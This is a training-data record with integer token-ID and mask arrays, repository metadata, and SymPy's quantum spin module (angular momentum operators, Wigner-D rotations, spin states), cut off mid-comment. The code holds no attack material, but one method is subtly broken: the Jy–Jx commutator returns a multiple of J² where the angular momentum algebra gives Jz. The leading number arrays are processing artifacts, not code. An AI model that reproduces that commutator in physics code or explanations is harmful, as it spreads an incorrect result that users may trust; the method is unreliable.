408, 339, 347, 1331, 8, 277, 304, 267, 1449, 1331, 314, 15749, 10595, 267, 892, 275, 445, 73, 424, 12642, 82, 8, 78, 29, 277, 14, 78, 9, 267, 892, 14, 67, 396, 275, 1331, 14, 1574, 8, 277, 14, 67, 396, 9, 267, 892, 14, 67, 7655, 275, 1331, 14, 1574, 8, 277, 14, 67, 7655, 9, 267, 372, 892, 339, 347, 636, 826, 721, 277, 12, 511, 29, 403, 12, 15749, 29, 403, 12, 302, 29, 20, 12, 10819, 29, 22, 14, 16, 304, 267, 1449, 15823, 1256, 1449, 267, 291, 14, 78, 275, 302, 267, 291, 14, 9412, 275, 10819, 267, 291, 14, 67, 7655, 275, 942, 267, 291, 14, 67, 396, 275, 942, 267, 291, 14, 3554, 63, 11132, 275, 10018, 8, 1609, 9, 267, 291, 14, 331, 745, 63, 740, 8, 396, 12, 15749, 9, 267, 291, 14, 1121, 63, 552, 275, 488, 339, 347, 512, 745, 63, 740, 8, 277, 12, 511, 12, 15749, 304, 267, 1449, 3527, 701, 3787, 436, 636, 28788, 363, 370, 5126, 6425, 892, 4454, 10595, 398, 340, 15749, 365, 440, 488, 26, 288, 291, 14, 67, 7655, 14, 740, 8, 331, 745, 63, 7655, 8, 7655, 430, 288, 340, 511, 365, 440, 488, 26, 355, 291, 14, 67, 396, 14, 740, 8, 331, 745, 63, 396, 8, 396, 430, 925, 653, 14, 34, 16781, 446, 17, 288, 587, 26, 355, 291, 14, 67, 396, 14, 740, 8, 403, 9, 327, 822, 83, 402, 286, 7655, 436, 286, 396, 1172, 370, 1336, 339, 347, 1568, 8, 277, 304, 267, 702, 822, 8, 277, 14, 67, 7655, 9, 508, 822, 8, 277, 14, 67, 396, 395, 298, 7655, 15, 396, 15015, 1, 450, 68, 28, 6598, 68, 2, 450, 334, 552, 8, 277, 14, 67, 7655, 395, 822, 8, 277, 14, 67, 396, 430, 267, 372, 822, 8, 277, 14, 67, 7655, 9, 339, 347, 636, 28788, 721, 277, 12, 1163, 304, 267, 1449, 525, 376, 1256, 334, 69, 14, 71, 2020, 687, 4573, 14537, 680, 2344, 398, 340, 730, 8, 1848, 9, 365, 2008, 26, 288, 925, 5126, 6425, 892, 445, 73, 424, 12642, 82, 4454, 288, 291, 14, 331, 745, 63, 740, 8, 1848, 59, 16, 467, 1163, 59, 17, 566, 267, 587, 26, 288, 291, 14, 67, 396, 14, 2880, 8, 1848, 14, 67, 396, 9, 288, 291, 14, 67, 7655, 14, 2880, 8, 1848, 14, 67, 7655, 9, 398, 372, 291, 272, 347, 4526, 63, 1301, 63, 5646, 8, 277, 304, 267, 1449, 267, 8354, 6707, 9857, 367, 3659, 666, 14, 267, 961, 911, 506, 1202, 370, 4526, 1305, 70, 334, 11668, 2213, 9857, 2945, 9, 267, 710, 6707, 9857, 365, 5489, 315, 314, 909, 267, 520, 1107, 26, 488, 267, 1449, 267, 367, 15749, 315, 291, 14, 67, 7655, 26, 288, 327, 15749, 12, 1022, 2984, 4021, 852, 402, 1373, 1834, 288, 367, 302, 1679, 315, 663, 779, 78, 1679, 367, 2984, 315, 15749, 367, 334, 78, 1679, 12, 835, 9, 315, 2984, 14, 4611, 342, 4682, 355, 291, 14, 3554, 63, 11132, 59, 78, 1679, 61, 847, 413, 288, 327, 1390, 6851, 59, 78, 1679, 61, 275, 1390, 8, 988, 6851, 14, 362, 8, 78, 1679, 12, 16, 395, 2338, 9, 339, 347, 4526, 63, 559, 424, 8, 277, 304, 267, 347, 8242, 18, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
Arafatk/sympy
sympy/physics/quantum/spin.py
64
72713
"""Quantum mechanical angular momemtum.""" from __future__ import print_function, division from sympy import (Add, binomial, cos, exp, Expr, factorial, I, Integer, Mul, pi, Rational, S, sin, simplify, sqrt, Sum, symbols, sympify, Tuple, Dummy) from sympy.core.compatibility import u, unicode, range from sympy.matrices import zeros from sympy.printing.pretty.stringpict import prettyForm, stringPict from sympy.printing.pretty.pretty_symbology import pretty_symbol from sympy.physics.quantum.qexpr import QExpr from sympy.physics.quantum.operator import (HermitianOperator, Operator, UnitaryOperator) from sympy.physics.quantum.state import Bra, Ket, State from sympy.functions.special.tensor_functions import KroneckerDelta from sympy.physics.quantum.constants import hbar from sympy.physics.quantum.hilbert import ComplexSpace, DirectSumHilbertSpace from sympy.physics.quantum.tensorproduct import TensorProduct from sympy.physics.quantum.cg import CG from sympy.physics.quantum.qapply import qapply __all__ = [ 'm_values', 'Jplus', 'Jminus', 'Jx', 'Jy', 'Jz', 'J2', 'Rotation', 'WignerD', 'JxKet', 'JxBra', 'JyKet', 'JyBra', 'JzKet', 'JzBra', 'JxKetCoupled', 'JxBraCoupled', 'JyKetCoupled', 'JyBraCoupled', 'JzKetCoupled', 'JzBraCoupled', 'couple', 'uncouple' ] def m_values(j): j = sympify(j) size = 2*j + 1 if not size.is_Integer or not size > 0: raise ValueError( 'Only integer or half-integer values allowed for j, got: : %r' % j ) return size, [j - i for i in range(int(2*j + 1))] #----------------------------------------------------------------------------- # Spin Operators #----------------------------------------------------------------------------- class SpinOpBase(object): """Base class for spin operators.""" @classmethod def _eval_hilbert_space(cls, label): # We consider all j values so our space is infinite. return ComplexSpace(S.Infinity) @property def name(self): return self.args[0] def _print_contents(self, printer, *args): return '%s%s' % (unicode(self.name), self._coord) def _print_contents_pretty(self, printer, *args): a = stringPict(unicode(self.name)) b = stringPict(self._coord) return self._print_subscript_pretty(a, b) def _print_contents_latex(self, printer, *args): return r'%s_%s' % ((unicode(self.name), self._coord)) def _represent_base(self, basis, **options): j = options.get('j', Rational(1, 2)) size, mvals = m_values(j) result = zeros(size, size) for p in range(size): for q in range(size): me = self.matrix_element(j, mvals[p], j, mvals[q]) result[p, q] = me return result def _apply_op(self, ket, orig_basis, **options): state = ket.rewrite(self.basis) # If the state has only one term if isinstance(state, State): ret = (hbar*state.m) * state # state is a linear combination of states elif isinstance(state, Sum): ret = self._apply_operator_Sum(state, **options) else: ret = qapply(self*state) if ret == self*state: raise NotImplementedError return ret.rewrite(orig_basis) def _apply_operator_JxKet(self, ket, **options): return self._apply_op(ket, 'Jx', **options) def _apply_operator_JxKetCoupled(self, ket, **options): return self._apply_op(ket, 'Jx', **options) def _apply_operator_JyKet(self, ket, **options): return self._apply_op(ket, 'Jy', **options) def _apply_operator_JyKetCoupled(self, ket, **options): return self._apply_op(ket, 'Jy', **options) def _apply_operator_JzKet(self, ket, **options): return self._apply_op(ket, 'Jz', **options) def _apply_operator_JzKetCoupled(self, ket, **options): return self._apply_op(ket, 'Jz', **options) def _apply_operator_TensorProduct(self, tp, **options): # Uncoupling operator is only easily found for coordinate basis spin operators # TODO: add methods for uncoupling operators if not (isinstance(self, JxOp) or isinstance(self, JyOp) or isinstance(self, JzOp)): raise NotImplementedError result = [] for n in range(len(tp.args)): arg = [] arg.extend(tp.args[:n]) arg.append(self._apply_operator(tp.args[n])) arg.extend(tp.args[n + 1:]) result.append(tp.__class__(*arg)) return Add(*result).expand() # TODO: move this to qapply_Mul def _apply_operator_Sum(self, s, **options): new_func = qapply(self * s.function) if new_func == self*s.function: raise NotImplementedError return Sum(new_func, *s.limits) def _eval_trace(self, **options): #TODO: use options to use different j values #For now eval at default basis # is it efficient to represent each time # to do a trace? return self._represent_default_basis().trace() class JplusOp(SpinOpBase, Operator): """The J+ operator.""" _coord = '+' basis = 'Jz' def _eval_commutator_JminusOp(self, other): return 2*hbar*JzOp(self.name) def _apply_operator_JzKet(self, ket, **options): j = ket.j m = ket.m if m.is_Number and j.is_Number: if m >= j: return S.Zero return hbar*sqrt(j*(j + S.One) - m*(m + S.One))*JzKet(j, m + S.One) def _apply_operator_JzKetCoupled(self, ket, **options): j = ket.j m = ket.m jn = ket.jn coupling = ket.coupling if m.is_Number and j.is_Number: if m >= j: return S.Zero return hbar*sqrt(j*(j + S.One) - m*(m + S.One))*JzKetCoupled(j, m + S.One, jn, coupling) def matrix_element(self, j, m, jp, mp): result = hbar*sqrt(j*(j + S.One) - mp*(mp + S.One)) result *= KroneckerDelta(m, mp + 1) result *= KroneckerDelta(j, jp) return result def _represent_default_basis(self, **options): return self._represent_JzOp(None, **options) def _represent_JzOp(self, basis, **options): return self._represent_base(basis, **options) def _eval_rewrite_as_xyz(self, *args): return JxOp(args[0]) + I*JyOp(args[0]) class JminusOp(SpinOpBase, Operator): """The J- operator.""" _coord = '-' basis = 'Jz' def _apply_operator_JzKet(self, ket, **options): j = ket.j m = ket.m if m.is_Number and j.is_Number: if m <= -j: return S.Zero return hbar*sqrt(j*(j + S.One) - m*(m - S.One))*JzKet(j, m - S.One) def _apply_operator_JzKetCoupled(self, ket, **options): j = ket.j m = ket.m jn = ket.jn coupling = ket.coupling if m.is_Number and j.is_Number: if m <= -j: return S.Zero return hbar*sqrt(j*(j + S.One) - m*(m - S.One))*JzKetCoupled(j, m - S.One, jn, coupling) def matrix_element(self, j, m, jp, mp): result = hbar*sqrt(j*(j + S.One) - mp*(mp - S.One)) result *= KroneckerDelta(m, mp - 1) result *= KroneckerDelta(j, jp) return result def _represent_default_basis(self, **options): return self._represent_JzOp(None, **options) def _represent_JzOp(self, basis, **options): return self._represent_base(basis, **options) def _eval_rewrite_as_xyz(self, *args): return JxOp(args[0]) - I*JyOp(args[0]) class JxOp(SpinOpBase, HermitianOperator): """The Jx operator.""" _coord = 'x' basis = 'Jx' def _eval_commutator_JyOp(self, other): return I*hbar*JzOp(self.name) def _eval_commutator_JzOp(self, other): return -I*hbar*JyOp(self.name) def _apply_operator_JzKet(self, ket, **options): jp = JplusOp(self.name)._apply_operator_JzKet(ket, **options) jm = JminusOp(self.name)._apply_operator_JzKet(ket, **options) return (jp + jm)/Integer(2) def _apply_operator_JzKetCoupled(self, ket, **options): jp = JplusOp(self.name)._apply_operator_JzKetCoupled(ket, **options) jm = JminusOp(self.name)._apply_operator_JzKetCoupled(ket, **options) return (jp + jm)/Integer(2) def _represent_default_basis(self, **options): return self._represent_JzOp(None, **options) def _represent_JzOp(self, basis, **options): jp = JplusOp(self.name)._represent_JzOp(basis, **options) jm = JminusOp(self.name)._represent_JzOp(basis, **options) return (jp + jm)/Integer(2) def _eval_rewrite_as_plusminus(self, *args): return (JplusOp(args[0]) + JminusOp(args[0]))/2 class JyOp(SpinOpBase, HermitianOperator): """The Jy operator.""" _coord = 'y' basis = 'Jy' def _eval_commutator_JzOp(self, other): return I*hbar*JxOp(self.name) def _eval_commutator_JxOp(self, other): return -I*hbar*J2Op(self.name) def _apply_operator_JzKet(self, ket, **options): jp = JplusOp(self.name)._apply_operator_JzKet(ket, **options) jm = JminusOp(self.name)._apply_operator_JzKet(ket, **options) return (jp - jm)/(Integer(2)*I) def _apply_operator_JzKetCoupled(self, ket, **options): jp = JplusOp(self.name)._apply_operator_JzKetCoupled(ket, **options) jm = JminusOp(self.name)._apply_operator_JzKetCoupled(ket, **options) return (jp - jm)/(Integer(2)*I) def _represent_default_basis(self, **options): return self._represent_JzOp(None, **options) def _represent_JzOp(self, basis, **options): jp = JplusOp(self.name)._represent_JzOp(basis, **options) jm = JminusOp(self.name)._represent_JzOp(basis, **options) return (jp - jm)/(Integer(2)*I) def _eval_rewrite_as_plusminus(self, *args): return (JplusOp(args[0]) - JminusOp(args[0]))/(2*I) class JzOp(SpinOpBase, HermitianOperator): """The Jz operator.""" _coord = 'z' basis = 'Jz' def _eval_commutator_JxOp(self, other): return I*hbar*JyOp(self.name) def _eval_commutator_JyOp(self, other): return -I*hbar*JxOp(self.name) def _eval_commutator_JplusOp(self, other): return hbar*JplusOp(self.name) def _eval_commutator_JminusOp(self, other): return -hbar*JminusOp(self.name) def matrix_element(self, j, m, jp, mp): result = hbar*mp result *= KroneckerDelta(m, mp) result *= KroneckerDelta(j, jp) return result def _represent_default_basis(self, **options): return self._represent_JzOp(None, **options) def _represent_JzOp(self, basis, **options): return self._represent_base(basis, **options) class J2Op(SpinOpBase, HermitianOperator): """The J^2 operator.""" _coord = '2' def _eval_commutator_JxOp(self, other): return S.Zero def _eval_commutator_JyOp(self, other): return S.Zero def _eval_commutator_JzOp(self, other): return S.Zero def _eval_commutator_JplusOp(self, other): return S.Zero def _eval_commutator_JminusOp(self, other): return S.Zero def _apply_operator_JxKet(self, ket, **options): j = ket.j return hbar**2*j*(j + 1)*ket def _apply_operator_JxKetCoupled(self, ket, **options): j = ket.j return hbar**2*j*(j + 1)*ket def _apply_operator_JyKet(self, ket, **options): j = ket.j return hbar**2*j*(j + 1)*ket def _apply_operator_JyKetCoupled(self, ket, **options): j = ket.j return hbar**2*j*(j + 1)*ket def _apply_operator_JzKet(self, ket, **options): j = ket.j return hbar**2*j*(j + 1)*ket def _apply_operator_JzKetCoupled(self, ket, **options): j = ket.j return hbar**2*j*(j + 1)*ket def matrix_element(self, j, m, jp, mp): result = (hbar**2)*j*(j + 1) result *= KroneckerDelta(m, mp) result *= KroneckerDelta(j, jp) return result def _represent_default_basis(self, **options): return self._represent_JzOp(None, **options) def _represent_JzOp(self, basis, **options): return self._represent_base(basis, **options) def _print_contents_pretty(self, printer, *args): a = prettyForm(unicode(self.name)) b = prettyForm(u('2')) return a**b def _print_contents_latex(self, printer, *args): return r'%s^2' % str(self.name) def _eval_rewrite_as_xyz(self, *args): return JxOp(args[0])**2 + JyOp(args[0])**2 + JzOp(args[0])**2 def _eval_rewrite_as_plusminus(self, *args): a = args[0] return JzOp(a)**2 + \ Rational(1, 2)*(JplusOp(a)*JminusOp(a) + JminusOp(a)*JplusOp(a)) class Rotation(UnitaryOperator): """Wigner D operator in terms of Euler angles. Defines the rotation operator in terms of the Euler angles defined by the z-y-z convention for a passive transformation. That is the coordinate axes are rotated first about the z-axis, giving the new x'-y'-z' axes. Then this new coordinate system is rotated about the new y'-axis, giving new x''-y''-z'' axes. Then this new coordinate system is rotated about the z''-axis. Conventions follow those laid out in [1]_. Parameters ========== alpha : Number, Symbol First Euler Angle beta : Number, Symbol Second Euler angle gamma : Number, Symbol Third Euler angle Examples ======== A simple example rotation operator: >>> from sympy import pi >>> from sympy.physics.quantum.spin import Rotation >>> Rotation(pi, 0, pi/2) R(pi,0,pi/2) With symbolic Euler angles and calculating the inverse rotation operator: >>> from sympy import symbols >>> a, b, c = symbols('a b c') >>> Rotation(a, b, c) R(a,b,c) >>> Rotation(a, b, c).inverse() R(-c,-b,-a) See Also ======== WignerD: Symbolic Wigner-D function D: Wigner-D function d: Wigner small-d function References ========== .. [1] Varshalovich, D A, Quantum Theory of Angular Momentum. 1988. """ @classmethod def _eval_args(cls, args): args = QExpr._eval_args(args) if len(args) != 3: raise ValueError('3 Euler angles required, got: %r' % args) return args @classmethod def _eval_hilbert_space(cls, label): # We consider all j values so our space is infinite. return ComplexSpace(S.Infinity) @property def alpha(self): return self.label[0] @property def beta(self): return self.label[1] @property def gamma(self): return self.label[2] def _print_operator_name(self, printer, *args): return 'R' def _print_operator_name_pretty(self, printer, *args): if printer._use_unicode: return prettyForm(u('\N{SCRIPT CAPITAL R}') + u(' ')) else: return prettyForm("R ") def _print_operator_name_latex(self, printer, *args): return r'\mathcal{R}' def _eval_inverse(self): return Rotation(-self.gamma, -self.beta, -self.alpha) @classmethod def D(cls, j, m, mp, alpha, beta, gamma): """Wigner D-function. Returns an instance of the WignerD class corresponding to the Wigner-D function specified by the parameters. Parameters =========== j : Number Total angular momentum m : Number Eigenvalue of angular momentum along axis after rotation mp : Number Eigenvalue of angular momentum along rotated axis alpha : Number, Symbol First Euler angle of rotation beta : Number, Symbol Second Euler angle of rotation gamma : Number, Symbol Third Euler angle of rotation Examples ======== Return the Wigner-D matrix element for a defined rotation, both numerical and symbolic: >>> from sympy.physics.quantum.spin import Rotation >>> from sympy import pi, symbols >>> alpha, beta, gamma = symbols('alpha beta gamma') >>> Rotation.D(1, 1, 0,pi, pi/2,-pi) WignerD(1, 1, 0, pi, pi/2, -pi) See Also ======== WignerD: Symbolic Wigner-D function """ return WignerD(j, m, mp, alpha, beta, gamma) @classmethod def d(cls, j, m, mp, beta): """Wigner small-d function. Returns an instance of the WignerD class corresponding to the Wigner-D function specified by the parameters with the alpha and gamma angles given as 0. Parameters =========== j : Number Total angular momentum m : Number Eigenvalue of angular momentum along axis after rotation mp : Number Eigenvalue of angular momentum along rotated axis beta : Number, Symbol Second Euler angle of rotation Examples ======== Return the Wigner-D matrix element for a defined rotation, both numerical and symbolic: >>> from sympy.physics.quantum.spin import Rotation >>> from sympy import pi, symbols >>> beta = symbols('beta') >>> Rotation.d(1, 1, 0, pi/2) WignerD(1, 1, 0, 0, pi/2, 0) See Also ======== WignerD: Symbolic Wigner-D function """ return WignerD(j, m, mp, 0, beta, 0) def matrix_element(self, j, m, jp, mp): result = self.__class__.D( jp, m, mp, self.alpha, self.beta, self.gamma ) result *= KroneckerDelta(j, jp) return result def _represent_base(self, basis, **options): j = sympify(options.get('j', Rational(1, 2))) # TODO: move evaluation up to represent function/implement elsewhere evaluate = sympify(options.get('doit')) size, mvals = m_values(j) result = zeros(size, size) for p in range(size): for q in range(size): me = self.matrix_element(j, mvals[p], j, mvals[q]) if evaluate: result[p, q] = me.doit() else: result[p, q] = me return result def _represent_default_basis(self, **options): return self._represent_JzOp(None, **options) def _represent_JzOp(self, basis, **options): return self._represent_base(basis, **options) def _apply_operator_uncoupled(self, state, ket, **options): a = self.alpha b = self.beta g = self.gamma j = ket.j m = ket.m if j.is_number: s = [] size = m_values(j) sz = size[1] for mp in sz: r = Rotation.D(j, m, mp, a, b, g) z = r.doit() s.append(z * state(j, mp)) return Add(*s) else: if options.pop('dummy', True): mp = Dummy('mp') else: mp = symbols('mp') return Sum(Rotation.D(j, m, mp, a, b, g) * state(j, mp), (mp, -j, j)) def _apply_operator_JxKet(self, ket, **options): return self._apply_operator_uncoupled(JxKet, ket, **options) def _apply_operator_JyKet(self, ket, **options): return self._apply_operator_uncoupled(JyKet, ket, **options) def _apply_operator_JzKet(self, ket, **options): return self._apply_operator_uncoupled(JzKet, ket, **options) def _apply_operator_coupled(self, state, ket, **options): a = self.alpha b = self.beta g = self.gamma j = ket.j m = ket.m jn = ket.jn coupling = ket.coupling if j.is_number: s = [] size = m_values(j) sz = size[1] for mp in sz: r = Rotation.D(j, m, mp, a, b, g) z = r.doit() s.append(z * state(j, mp, jn, coupling)) return Add(*s) else: if options.pop('dummy', True): mp = Dummy('mp') else: mp = symbols('mp') return Sum(Rotation.D(j, m, mp, a, b, g) * state( j, mp, jn, coupling), (mp, -j, j)) def _apply_operator_JxKetCoupled(self, ket, **options): return self._apply_operator_coupled(JxKetCoupled, ket, **options) def _apply_operator_JyKetCoupled(self, ket, **options): return self._apply_operator_coupled(JyKetCoupled, ket, **options) def _apply_operator_JzKetCoupled(self, ket, **options): return self._apply_operator_coupled(JzKetCoupled, ket, **options) class WignerD(Expr): """Wigner-D function The Wigner D-function gives the matrix elements of the rotation operator in the jm-representation. For the Euler angles `\\alpha`, `\\beta`, `\gamma`, the D-function is defined such that: .. math :: <j,m| \mathcal{R}(\\alpha, \\beta, \gamma ) |j',m'> = \delta_{jj'} D(j, m, m', \\alpha, \\beta, \gamma) Where the rotation operator is as defined by the Rotation class [1]_. The Wigner D-function defined in this way gives: .. math :: D(j, m, m', \\alpha, \\beta, \gamma) = e^{-i m \\alpha} d(j, m, m', \\beta) e^{-i m' \gamma} Where d is the Wigner small-d function, which is given by Rotation.d. The Wigner small-d function gives the component of the Wigner D-function that is determined by the second Euler angle. That is the Wigner D-function is: .. math :: D(j, m, m', \\alpha, \\beta, \gamma) = e^{-i m \\alpha} d(j, m, m', \\beta) e^{-i m' \gamma} Where d is the small-d function. The Wigner D-function is given by Rotation.D. Note that to evaluate the D-function, the j, m and mp parameters must be integer or half integer numbers. Parameters ========== j : Number Total angular momentum m : Number Eigenvalue of angular momentum along axis after rotation mp : Number Eigenvalue of angular momentum along rotated axis alpha : Number, Symbol First Euler angle of rotation beta : Number, Symbol Second Euler angle of rotation gamma : Number, Symbol Third Euler angle of rotation Examples ======== Evaluate the Wigner-D matrix elements of a simple rotation: >>> from sympy.physics.quantum.spin import Rotation >>> from sympy import pi >>> rot = Rotation.D(1, 1, 0, pi, pi/2, 0) >>> rot WignerD(1, 1, 0, pi, pi/2, 0) >>> rot.doit() sqrt(2)/2 Evaluate the Wigner-d matrix elements of a simple rotation >>> rot = Rotation.d(1, 1, 0, pi/2) >>> rot WignerD(1, 1, 0, 0, pi/2, 0) >>> rot.doit() -sqrt(2)/2 See Also ======== Rotation: Rotation operator References ========== .. [1] Varshalovich, D A, Quantum Theory of Angular Momentum. 1988. """ is_commutative = True def __new__(cls, *args, **hints): if not len(args) == 6: raise ValueError('6 parameters expected, got %s' % args) args = sympify(args) evaluate = hints.get('evaluate', False) if evaluate: return Expr.__new__(cls, *args)._eval_wignerd() return Expr.__new__(cls, *args) @property def j(self): return self.args[0] @property def m(self): return self.args[1] @property def mp(self): return self.args[2] @property def alpha(self): return self.args[3] @property def beta(self): return self.args[4] @property def gamma(self): return self.args[5] def _latex(self, printer, *args): if self.alpha == 0 and self.gamma == 0: return r'd^{%s}_{%s,%s}\left(%s\right)' % \ ( printer._print(self.j), printer._print( self.m), printer._print(self.mp), printer._print(self.beta) ) return r'D^{%s}_{%s,%s}\left(%s,%s,%s\right)' % \ ( printer._print( self.j), printer._print(self.m), printer._print(self.mp), printer._print(self.alpha), printer._print(self.beta), printer._print(self.gamma) ) def _pretty(self, printer, *args): top = printer._print(self.j) bot = printer._print(self.m) bot = prettyForm(*bot.right(',')) bot = prettyForm(*bot.right(printer._print(self.mp))) pad = max(top.width(), bot.width()) top = prettyForm(*top.left(' ')) bot = prettyForm(*bot.left(' ')) if pad > top.width(): top = prettyForm(*top.right(' ' * (pad - top.width()))) if pad > bot.width(): bot = prettyForm(*bot.right(' ' * (pad - bot.width()))) if self.alpha == 0 and self.gamma == 0: args = printer._print(self.beta) s = stringPict('d' + ' '*pad) else: args = printer._print(self.alpha) args = prettyForm(*args.right(',')) args = prettyForm(*args.right(printer._print(self.beta))) args = prettyForm(*args.right(',')) args = prettyForm(*args.right(printer._print(self.gamma))) s = stringPict('D' + ' '*pad) args = prettyForm(*args.parens()) s = prettyForm(*s.above(top)) s = prettyForm(*s.below(bot)) s = prettyForm(*s.right(args)) return s def doit(self, **hints): hints['evaluate'] = True return WignerD(*self.args, **hints) def _eval_wignerd(self): j = sympify(self.j) m = sympify(self.m) mp = sympify(self.mp) alpha = sympify(self.alpha) beta = sympify(self.beta) gamma = sympify(self.gamma) if not j.is_number: raise ValueError( 'j parameter must be numerical to evaluate, got %s' % j) r = 0 if beta == pi/2: # Varshalovich Equation (5), Section 4.16, page 113, setting # alpha=gamma=0. for k in range(2*j + 1): if k > j + mp or k > j - m or k < mp - m: continue r += (-S(1))**k * binomial(j + mp, k) * binomial(j - mp, k + m - mp) r *= (-S(1))**(m - mp) / 2**j * sqrt(factorial(j + m) * factorial(j - m) / (factorial(j + mp) * factorial(j - mp))) else: # Varshalovich Equation(5), Section 4.7.2, page 87, where we set # beta1=beta2=pi/2, and we get alpha=gamma=pi/2 and beta=phi+pi, # then we use the Eq. (1), Section 4.4. page 79, to simplify: # d(j, m, mp, beta+pi) = (-1)**(j-mp) * d(j, m, -mp, beta) # This happens to be almost the same as in Eq.(10), Section 4.16, # except that we need to substitute -mp for mp. size, mvals = m_values(j) for mpp in mvals: r += Rotation.d(j, m, mpp, pi/2).doit() * (cos(-mpp*beta) + I*sin(-mpp*beta)) * \ Rotation.d(j, mpp, -mp, pi/2).doit() # Empirical normalization factor so results match Varshalovich # Tables 4.3-4.12 # Note that this exact normalization does not follow from the # above equations r = r * I**(2*j - m - mp) * (-1)**(2*m) # Finally, simplify the whole expression r = simplify(r) r *= exp(-I*m*alpha)*exp(-I*mp*gamma) return r Jx = JxOp('J') Jy = JyOp('J') Jz = JzOp('J') J2 = J2Op('J') Jplus = JplusOp('J') Jminus = JminusOp('J') #----------------------------------------------------------------------------- # Spin States #----------------------------------------------------------------------------- class SpinState(State): """Base class for angular momentum states.""" _label_separator = ',' def __new__(cls, j, m): j = sympify(j) m = sympify(m) if j.is_number: if 2*j != int(2*j): raise ValueError( 'j must be integer or half-integer, got: %s' % j) if j < 0: raise ValueError('j must be >= 0, got: %s' % j) if m.is_number: if 2*m != int(2*m): raise ValueError( 'm must be integer or half-integer, got: %s' % m) if j.is_number and m.is_number: if abs(m) > j: raise ValueError('Allowed values for m are -j <= m <= j, got j, m: %s, %s' % (j, m)) if int(j - m) != j - m: raise ValueError('Both j and m must be integer or half-integer, got j, m: %s, %s' % (j, m)) return State.__new__(cls, j, m) @property def j(self): return self.label[0] @property def m(self): return self.label[1] @classmethod def _eval_hilbert_space(cls, label): return ComplexSpace(2*label[0] + 1) def _represent_base(self, **options): j = self.j m = self.m alpha = sympify(options.get('alpha', 0)) beta = sympify(options.get('beta', 0)) gamma = sympify(options.get('gamma', 0)) size, mvals = m_values(j) result = zeros(size, 1) # TODO: Use KroneckerDelta if all Euler angles == 0 # breaks finding angles on L930 for p, mval in enumerate(mvals): if m.is_number: result[p, 0] = Rotation.D( self.j, mval, self.m, alpha, beta, gamma).doit() else: result[p, 0] = Rotation.D(self.j, mval, self.m, alpha, beta, gamma) return result def _eval_rewrite_as_Jx(self, *args, **options): if isinstance(self, Bra): return self._rewrite_basis(Jx, JxBra, **options) return self._rewrite_basis(Jx, JxKet, **options) def _eval_rewrite_as_Jy(self, *args, **options): if isinstance(self, Bra): return self._rewrite_basis(Jy, JyBra, **options) return self._rewrite_basis(Jy, JyKet, **options) def _eval_rewrite_as_Jz(self, *args, **options): if isinstance(self, Bra): return self._rewrite_basis(Jz, JzBra, **options) return self._rewrite_basis(Jz, JzKet, **options) def _rewrite_basis(self, basis, evect, **options): from sympy.physics.quantum.represent import represent j = self.j args = self.args[2:] if j.is_number: if isinstance(self, CoupledSpinState): if j == int(j): start = j**2 else: start = (2*j - 1)*(2*j + 1)/4 else: start = 0 vect = represent(self, basis=basis, **options) result = Add( *[vect[start + i] * evect(j, j - i, *args) for i in range(2*j + 1)]) if isinstance(self, CoupledSpinState) and options.get('coupled') is False: return uncouple(result) return result else: i = 0 mi = symbols('mi') # make sure not to introduce a symbol already in the state while self.subs(mi, 0) != self: i += 1 mi = symbols('mi%d' % i) break # TODO: better way to get angles of rotation if isinstance(self, CoupledSpinState): test_args = (0, mi, (0, 0)) else: test_args = (0, mi) if isinstance(self, Ket): angles = represent( self.__class__(*test_args), basis=basis)[0].args[3:6] else: angles = represent(self.__class__( *test_args), basis=basis)[0].args[0].args[3:6] if angles == (0, 0, 0): return self else: state = evect(j, mi, *args) lt = Rotation.D(j, mi, self.m, *angles) return Sum(lt * state, (mi, -j, j)) def _eval_innerproduct_JxBra(self, bra, **hints): result = KroneckerDelta(self.j, bra.j) if bra.dual_class() is not self.__class__: result *= self._represent_JxOp(None)[bra.j - bra.m] else: result *= KroneckerDelta( self.j, bra.j) * KroneckerDelta(self.m, bra.m) return result def _eval_innerproduct_JyBra(self, bra, **hints): result = KroneckerDelta(self.j, bra.j) if bra.dual_class() is not self.__class__: result *= self._represent_JyOp(None)[bra.j - bra.m] else: result *= KroneckerDelta( self.j, bra.j) * KroneckerDelta(self.m, bra.m) return result def _eval_innerproduct_JzBra(self, bra, **hints): result = KroneckerDelta(self.j, bra.j) if bra.dual_class() is not self.__class__: result *= self._represent_JzOp(None)[bra.j - bra.m] else: result *= KroneckerDelta( self.j, bra.j) * KroneckerDelta(self.m, bra.m) return result def _eval_trace(self, bra, **hints): # One way to implement this method is to assume the basis set k is # passed. # Then we can apply the discrete form of Trace formula here # Tr(|i><j| ) = \Sum_k <k|i><j|k> #then we do qapply() on each each inner product and 